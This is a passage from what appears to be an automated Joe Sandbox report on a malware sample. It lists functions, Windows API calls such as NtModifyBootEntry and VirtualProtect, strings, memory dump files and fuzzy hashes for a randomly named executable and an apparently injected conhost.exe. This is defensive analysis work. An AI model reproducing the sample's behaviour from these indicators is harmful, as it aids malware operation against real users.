TlsGetValue.KERNEL32 ref: 00007FF7CA38214F
GetLastError.KERNEL32 ref: 00007FF7CA382154
LeaveCriticalSection.KERNEL32 ref: 00007FF7CA382212
free.MSVCRT ref: 00007FF7CA382234
DeleteCriticalSection.KERNEL32 ref: 00007FF7CA38225D

Memory Dump Source

Source File: 00000000.00000002.2109317567.00007FF7CA381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CA380000, based on PE: true

Associated: 00000000.00000002.2109294663.00007FF7CA380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109362540.00007FF7CA388000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109384729.00007FF7CA38A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109403004.00007FF7CA38B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109649849.00007FF7CA601000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109665454.00007FF7CA603000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ca380000_SecuriteInfo.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
String ID:
API String ID: 3326252324-0
Opcode ID: 64c81d714b45f07d50bdf4d52e7b3bb64b2b63a861827c6e76927b0b7ee1a192
Instruction ID: 1a4344346f1c523564256b745143360ea2865aa72b5ab00047a3aac18b1ead82
Opcode Fuzzy Hash: 64c81d714b45f07d50bdf4d52e7b3bb64b2b63a861827c6e76927b0b7ee1a192
Instruction Fuzzy Hash: C8213321A0990281F655BF81F57437492A1FF04FB2FC000B6D95F57AA1CF2CA8818328

Function 00007FF7CA381E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 00007FF7CA381E27

Memory Dump Source

Source File: 00000000.00000002.2109317567.00007FF7CA381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CA380000, based on PE: true

Associated: 00000000.00000002.2109294663.00007FF7CA380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109362540.00007FF7CA388000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109384729.00007FF7CA38A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109403004.00007FF7CA38B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109649849.00007FF7CA601000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109665454.00007FF7CA603000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ca380000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: 2630db6486f5b991bc22551f89febb5c90dbce5cc3ede817fc3e9e42a387646c
Instruction ID: 71bbcc4ceab73369d185313553f89b24000ddf84ec8955ff5d34634c93ddc481
Opcode Fuzzy Hash: 2630db6486f5b991bc22551f89febb5c90dbce5cc3ede817fc3e9e42a387646c
Instruction Fuzzy Hash: FF21C721F0D10642FA747E24B57437992929F84BB6FA582BFDD1D473D8CE6CA8C24360

Function 00007FF7CA381880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CA381247), ref: 00007FF7CA3819F9

Strings

Unknown pseudo relocation protocol version %d., xrefs: 00007FF7CA381B8B
Unknown pseudo relocation bit size %d., xrefs: 00007FF7CA381B7B

Memory Dump Source

Source File: 00000000.00000002.2109317567.00007FF7CA381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CA380000, based on PE: true

Associated: 00000000.00000002.2109294663.00007FF7CA380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109362540.00007FF7CA388000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109384729.00007FF7CA38A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109403004.00007FF7CA38B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109649849.00007FF7CA601000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109665454.00007FF7CA603000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ca380000_SecuriteInfo.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 526722fdec3aa6cb244c57f22067a962d7ffc6e2d40cebe4475ac13535e1ccff
Instruction ID: f584daf039e151a9ba43dac45f4daba1e548effb21af84d8c44350a7242e6fe7
Opcode Fuzzy Hash: 526722fdec3aa6cb244c57f22067a962d7ffc6e2d40cebe4475ac13535e1ccff
Instruction Fuzzy Hash: 4751AF66F08542D6FB10AF25F8747B4A761AB14BB6F8441BAD92D03794CF3CE581C720

Function 00007FF7CA381800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 00007FF7CA38185A

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7CA38184D
Unknown error, xrefs: 00007FF7CA381824

Memory Dump Source

Source File: 00000000.00000002.2109317567.00007FF7CA381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CA380000, based on PE: true

Associated: 00000000.00000002.2109294663.00007FF7CA380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109362540.00007FF7CA388000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109384729.00007FF7CA38A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109403004.00007FF7CA38B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109649849.00007FF7CA601000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109665454.00007FF7CA603000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ca380000_SecuriteInfo.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 26ad7c6bd2757c174c7e5e4dd364a8a254158d3a940a9eb0d20a62be987e04bc
Instruction ID: 5e9c77e60d131aa5b76b94357acfd969a47ca4b430ca33f4580edf0fd53c45af
Opcode Fuzzy Hash: 26ad7c6bd2757c174c7e5e4dd364a8a254158d3a940a9eb0d20a62be987e04bc
Instruction Fuzzy Hash: F4F0C211E18A4582F610BF28F9610B9E360EF493E2F90927ADE4D93251DF2CE1828310

Function 00007FF7CA38219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7CA3821B2
TlsGetValue.KERNEL32 ref: 00007FF7CA3821EB
GetLastError.KERNEL32 ref: 00007FF7CA3821F0
LeaveCriticalSection.KERNEL32 ref: 00007FF7CA38226C

Memory Dump Source

Source File: 00000000.00000002.2109317567.00007FF7CA381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CA380000, based on PE: true

Associated: 00000000.00000002.2109294663.00007FF7CA380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109362540.00007FF7CA388000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109384729.00007FF7CA38A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109403004.00007FF7CA38B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109649849.00007FF7CA601000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109665454.00007FF7CA603000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ca380000_SecuriteInfo.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 6d0c985be9a2a72991ea91204b00c04895ff73dfa6c18d1ec6811a33520b9b45
Instruction ID: c57e066768ec573d402189cf2268048ffea1f8b54668e6bd62c697f15eb4a580
Opcode Fuzzy Hash: 6d0c985be9a2a72991ea91204b00c04895ff73dfa6c18d1ec6811a33520b9b45
Instruction Fuzzy Hash: 99011E25A0990281FA55AF95FD3427492A1BF04FB2FD400BADA1E13A90DF2CA8918328

Analysis Process: bbecxurdegum.exePID: 5248, Parent PID: 632COMMON

Execution Graph

Execution Coverage:	3.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1710
Total number of Limit Nodes:	2

Executed Functions

Function 00007FF7794E1160 Relevance: 13.6, APIs: 9, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,00007FF7794E1156), ref: 00007FF7794E11A5
_amsg_exit.MSVCRT ref: 00007FF7794E11CC
_initterm.MSVCRT ref: 00007FF7794E120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,00007FF7794E1156), ref: 00007FF7794E124E
malloc.MSVCRT(?,?,?,00007FF7794E1156), ref: 00007FF7794E127E
strlen.MSVCRT ref: 00007FF7794E12A4
malloc.MSVCRT(?,?,?,00007FF7794E1156), ref: 00007FF7794E12B0
memcpy.MSVCRT ref: 00007FF7794E12C3
_cexit.MSVCRT ref: 00007FF7794E132D

Memory Dump Source

Source File: 00000010.00000002.2133549211.00007FF7794E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7794E0000, based on PE: true

Associated: 00000010.00000002.2133532717.00007FF7794E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133565576.00007FF7794E8000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133582166.00007FF7794EA000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133724617.00007FF779763000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7794e0000_bbecxurdegum.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID:
API String ID: 2643109117-0
Opcode ID: 1f0c5cd89db2a0e226b3a7e11c31de7610b439b18b75d8784ee5a5e0c905799d
Instruction ID: d76abe55e35c1cf91193db5e6863e05f19794d4fb5b2554d4cdcd4b09dd7d989
Opcode Fuzzy Hash: 1f0c5cd89db2a0e226b3a7e11c31de7610b439b18b75d8784ee5a5e0c905799d
Instruction Fuzzy Hash: 1B514533E7B68784FA10FF16E95427AA2B0BF4D794F844471C94D877A2DE2CA881C360

Function 00007FF7794E1394 Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtModifyBootEntry.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7794E1156), ref: 00007FF7794E13F7

Memory Dump Source

Source File: 00000010.00000002.2133549211.00007FF7794E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7794E0000, based on PE: true

Associated: 00000010.00000002.2133532717.00007FF7794E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133565576.00007FF7794E8000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133582166.00007FF7794EA000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133724617.00007FF779763000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7794e0000_bbecxurdegum.jbxd

Similarity

API ID: BootEntryModify
String ID:
API String ID: 1917533178-0
Opcode ID: 6acfa36f2e860ca0d1eeb73f57069e439c4ee3338a0405080f720feb056bc57f
Instruction ID: 3343852688e19c7a15b103e3578a79f6047d7965cd97265d668677129a23c545
Opcode Fuzzy Hash: 6acfa36f2e860ca0d1eeb73f57069e439c4ee3338a0405080f720feb056bc57f
Instruction Fuzzy Hash: B5F0C97392AB4282D610EF52F88006BB7B1FB58398B404935E98C43725CF3CE950CB60

Non-executed Functions

Function 00007FF7794E3350 Relevance: 21.2, APIs: 9, Strings: 5, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF7794E33B2
memset.MSVCRT ref: 00007FF7794E3445
wcscpy.MSVCRT ref: 00007FF7794E349D
wcscat.MSVCRT ref: 00007FF7794E34A8
wcslen.MSVCRT ref: 00007FF7794E34B9
memset.MSVCRT ref: 00007FF7794E35D4
wcscpy.MSVCRT ref: 00007FF7794E3635
wcscat.MSVCRT ref: 00007FF7794E3640
wcslen.MSVCRT ref: 00007FF7794E3654

Strings

, xrefs: 00007FF7794E36DD
@, xrefs: 00007FF7794E34F1
0, xrefs: 00007FF7794E34E6
0, xrefs: 00007FF7794E368D
@, xrefs: 00007FF7794E3698

Memory Dump Source

Source File: 00000010.00000002.2133549211.00007FF7794E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7794E0000, based on PE: true

Associated: 00000010.00000002.2133532717.00007FF7794E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133565576.00007FF7794E8000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133582166.00007FF7794EA000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133724617.00007FF779763000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7794e0000_bbecxurdegum.jbxd

Similarity

API ID: memset$wcscatwcscpywcslen
String ID: $0$0$@$@
API String ID: 4263182637-1413854666
Opcode ID: 8bf03da8fde18c3f48384b70ec27093f30c1343604dedd7ca0a9661a927418a4
Instruction ID: 6d2f39b545859e5b542c8ef3b7fc8e1c5a06147e64db9206fb71aed234b1b163
Opcode Fuzzy Hash: 8bf03da8fde18c3f48384b70ec27093f30c1343604dedd7ca0a9661a927418a4
Instruction Fuzzy Hash: 37B16C229396C385E721EF26E4453ABB7B0FB85788F800235EA8852A95DF7DD185CB50

Function 00007FF7794E2690 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 322
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncmp.MSVCRT ref: 00007FF7794E2795
memset.MSVCRT ref: 00007FF7794E2865
wcscpy.MSVCRT ref: 00007FF7794E28CE
wcscat.MSVCRT ref: 00007FF7794E28D9
wcslen.MSVCRT ref: 00007FF7794E28E1
wcslen.MSVCRT ref: 00007FF7794E28F6
wcslen.MSVCRT ref: 00007FF7794E296D
wcslen.MSVCRT ref: 00007FF7794E29E8

Strings

0, xrefs: 00007FF7794E279A
`, xrefs: 00007FF7794E2B91
X, xrefs: 00007FF7794E2B79

Memory Dump Source

Source File: 00000010.00000002.2133549211.00007FF7794E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7794E0000, based on PE: true

Associated: 00000010.00000002.2133532717.00007FF7794E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133565576.00007FF7794E8000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133582166.00007FF7794EA000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133724617.00007FF779763000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7794e0000_bbecxurdegum.jbxd

Similarity

API ID: wcslen$memsetwcscatwcscpywcsncmp
String ID: 0$X$`
API String ID: 329590056-2527496196
Opcode ID: 01488000d68a8ab59d04e6865e1b22ecddd291ab305485b4cbbe7ecfcb7ac9ad
Instruction ID: c2da06303966fdb80f4afac50f02d038f772fa6999b6a1f253d64da69849da63
Opcode Fuzzy Hash: 01488000d68a8ab59d04e6865e1b22ecddd291ab305485b4cbbe7ecfcb7ac9ad
Instruction Fuzzy Hash: CF026B33939B8285E721EF15E8443AAB7B4FB897A4F804225DA9C43BA5EF3CD145C750

Function 00007FF7794E1BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,00007FF7794E93E8,00007FF7794E93E8,?,?,00007FF7794E0000,?,00007FF7794E1991), ref: 00007FF7794E1C63
VirtualProtect.KERNEL32(?,?,?,?,00007FF7794E93E8,00007FF7794E93E8,?,?,00007FF7794E0000,?,00007FF7794E1991), ref: 00007FF7794E1CC7
memcpy.MSVCRT ref: 00007FF7794E1CE0
GetLastError.KERNEL32(?,?,?,?,00007FF7794E93E8,00007FF7794E93E8,?,?,00007FF7794E0000,?,00007FF7794E1991), ref: 00007FF7794E1D23

Strings

Address %p has no image-section, xrefs: 00007FF7794E1CF4
VirtualProtect failed with code 0x%x, xrefs: 00007FF7794E1D29
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF7794E1D17

Memory Dump Source

Source File: 00000010.00000002.2133549211.00007FF7794E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7794E0000, based on PE: true

Associated: 00000010.00000002.2133532717.00007FF7794E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133565576.00007FF7794E8000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133582166.00007FF7794EA000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133724617.00007FF779763000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7794e0000_bbecxurdegum.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: 716313809d7e085c12c1575cdce3c3800b6d9d2193e088841cc148fe0cd95883
Instruction ID: 5813b33497c71fdd0d439515033a748dc769aa030f99ae0c32246a998a74903e
Opcode Fuzzy Hash: 716313809d7e085c12c1575cdce3c3800b6d9d2193e088841cc148fe0cd95883
Instruction Fuzzy Hash: 6841A173A3AA4795EA10EF03D8946BAA7B0EB49BC4F944172CD0D87391DE3CE545C360

Function 00007FF7794E2104 Relevance: 9.1, APIs: 6, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7794E2118
TlsGetValue.KERNEL32 ref: 00007FF7794E214F
GetLastError.KERNEL32 ref: 00007FF7794E2154
LeaveCriticalSection.KERNEL32 ref: 00007FF7794E2212
free.MSVCRT ref: 00007FF7794E2234
DeleteCriticalSection.KERNEL32 ref: 00007FF7794E225D

Memory Dump Source

Source File: 00000010.00000002.2133549211.00007FF7794E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7794E0000, based on PE: true

Associated: 00000010.00000002.2133532717.00007FF7794E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133565576.00007FF7794E8000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133582166.00007FF7794EA000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133724617.00007FF779763000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7794e0000_bbecxurdegum.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
String ID:
API String ID: 3326252324-0
Opcode ID: 64c81d714b45f07d50bdf4d52e7b3bb64b2b63a861827c6e76927b0b7ee1a192
Instruction ID: a9375c154e6e2d3562bf9e0c3291a223bcf38705732164c5a000676af8a43575
Opcode Fuzzy Hash: 64c81d714b45f07d50bdf4d52e7b3bb64b2b63a861827c6e76927b0b7ee1a192
Instruction Fuzzy Hash: D721C733A3B90381FA59EF02E955276A270BF08BD4FC40178C90E57AA0DF6CA946C360

Function 00007FF7794E1E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 00007FF7794E1E27

Memory Dump Source

Source File: 00000010.00000002.2133549211.00007FF7794E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7794E0000, based on PE: true

Associated: 00000010.00000002.2133532717.00007FF7794E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133565576.00007FF7794E8000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133582166.00007FF7794EA000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133724617.00007FF779763000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7794e0000_bbecxurdegum.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: 2630db6486f5b991bc22551f89febb5c90dbce5cc3ede817fc3e9e42a387646c
Instruction ID: 5be628442332e83c6b1b8541831c1270b9c99d05b9ceaebae0b28f6da241d6d7
Opcode Fuzzy Hash: 2630db6486f5b991bc22551f89febb5c90dbce5cc3ede817fc3e9e42a387646c
Instruction Fuzzy Hash: 36219433EBB10741FA65FA16955037B91B1AF8C7A4FA585B1DD0E473D4CE2CB881C2A0

Function 00007FF7794E1880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7794E1247), ref: 00007FF7794E19F9

Strings

Unknown pseudo relocation protocol version %d., xrefs: 00007FF7794E1B8B
Unknown pseudo relocation bit size %d., xrefs: 00007FF7794E1B7B

Memory Dump Source

Source File: 00000010.00000002.2133549211.00007FF7794E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7794E0000, based on PE: true

Associated: 00000010.00000002.2133532717.00007FF7794E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133565576.00007FF7794E8000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133582166.00007FF7794EA000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133724617.00007FF779763000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7794e0000_bbecxurdegum.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 526722fdec3aa6cb244c57f22067a962d7ffc6e2d40cebe4475ac13535e1ccff
Instruction ID: 8b40865ef2654d2ad8707605a95318b06b28f8977516d675a393b9056ce5afee
Opcode Fuzzy Hash: 526722fdec3aa6cb244c57f22067a962d7ffc6e2d40cebe4475ac13535e1ccff
Instruction Fuzzy Hash: 3B516D73E7A587D6EB10EF22D8447BAA771AB18B98F844231D91C07794DE3CE985C720

Function 00007FF7794E1800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 00007FF7794E185A

Strings

Unknown error, xrefs: 00007FF7794E1824
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7794E184D

Memory Dump Source

Source File: 00000010.00000002.2133549211.00007FF7794E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7794E0000, based on PE: true

Associated: 00000010.00000002.2133532717.00007FF7794E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133565576.00007FF7794E8000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133582166.00007FF7794EA000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133724617.00007FF779763000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7794e0000_bbecxurdegum.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 26ad7c6bd2757c174c7e5e4dd364a8a254158d3a940a9eb0d20a62be987e04bc
Instruction ID: 453808b7e05c35303f7d174e0b50245cae3fe1435de8ceac56bfe5247816baeb
Opcode Fuzzy Hash: 26ad7c6bd2757c174c7e5e4dd364a8a254158d3a940a9eb0d20a62be987e04bc
Instruction Fuzzy Hash: A1F04F22A3AA8682E611EF26A9410BAE370FB597D1F909235DE4E56651DF2CE182C310

Function 00007FF7794E219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7794E21B2
TlsGetValue.KERNEL32 ref: 00007FF7794E21EB
GetLastError.KERNEL32 ref: 00007FF7794E21F0
LeaveCriticalSection.KERNEL32 ref: 00007FF7794E226C

Memory Dump Source

Source File: 00000010.00000002.2133549211.00007FF7794E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7794E0000, based on PE: true

Associated: 00000010.00000002.2133532717.00007FF7794E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133565576.00007FF7794E8000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133582166.00007FF7794EA000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000010.00000002.2133724617.00007FF779763000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7794e0000_bbecxurdegum.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 6d0c985be9a2a72991ea91204b00c04895ff73dfa6c18d1ec6811a33520b9b45
Instruction ID: 80e6064482c116f9579f8ee9c1173d2d2abc4c8fd89170054eb9b2dbf7bd3f07
Opcode Fuzzy Hash: 6d0c985be9a2a72991ea91204b00c04895ff73dfa6c18d1ec6811a33520b9b45
Instruction Fuzzy Hash: 2101DA37A3B90381EA55AF12AD04276D270BF08BD4FC40079CA0D53A94DF7CA995C224

Analysis Process: conhost.exePID: 6056, Parent PID: 5248COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	848
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140001394 Relevance: 1.5, APIs: 1, Instructions: 24
nativewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAlpcQueryInformationMessage.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001156), ref: 00000001400013F7

Memory Dump Source

Source File: 00000014.00000002.3317681622.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000014.00000002.3317655351.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317707476.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317748709.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317773408.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_140000000_conhost.jbxd

Similarity

API ID: AlpcInformationMessageQuery
String ID:
API String ID: 1866289542-0
Opcode ID: 2826bf933b6c05314846991301916adf57e49d07940debb5eab16ace37e77d14
Instruction ID: 35ac0efe93fe85c119e55826d4317f241f31154ff2ae5808118bfd6961f8b30b
Opcode Fuzzy Hash: 2826bf933b6c05314846991301916adf57e49d07940debb5eab16ace37e77d14
Instruction Fuzzy Hash: B5F09DB2608B408AEA12DB52F89579A77A0F38D7C0F00991ABBC843735DB38C190CB40

Non-executed Functions

Function 00000001400026E0 Relevance: 19.6, APIs: 7, Strings: 4, Instructions: 376
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncmp.MSVCRT ref: 00000001400028F4
wcscpy.MSVCRT ref: 0000000140002A25
wcscat.MSVCRT ref: 0000000140002A30
wcslen.MSVCRT ref: 0000000140002A38
wcslen.MSVCRT ref: 0000000140002A50
wcslen.MSVCRT ref: 0000000140002AB0
wcslen.MSVCRT ref: 0000000140002B02

Strings

\BaseNamedObjects\wbovbrapfzpyrtxpzxmouvtx, xrefs: 00000001400026E9
0, xrefs: 00000001400028F9
`, xrefs: 0000000140002CAB
X, xrefs: 0000000140002C93

Memory Dump Source

Source File: 00000014.00000002.3317681622.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000014.00000002.3317655351.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
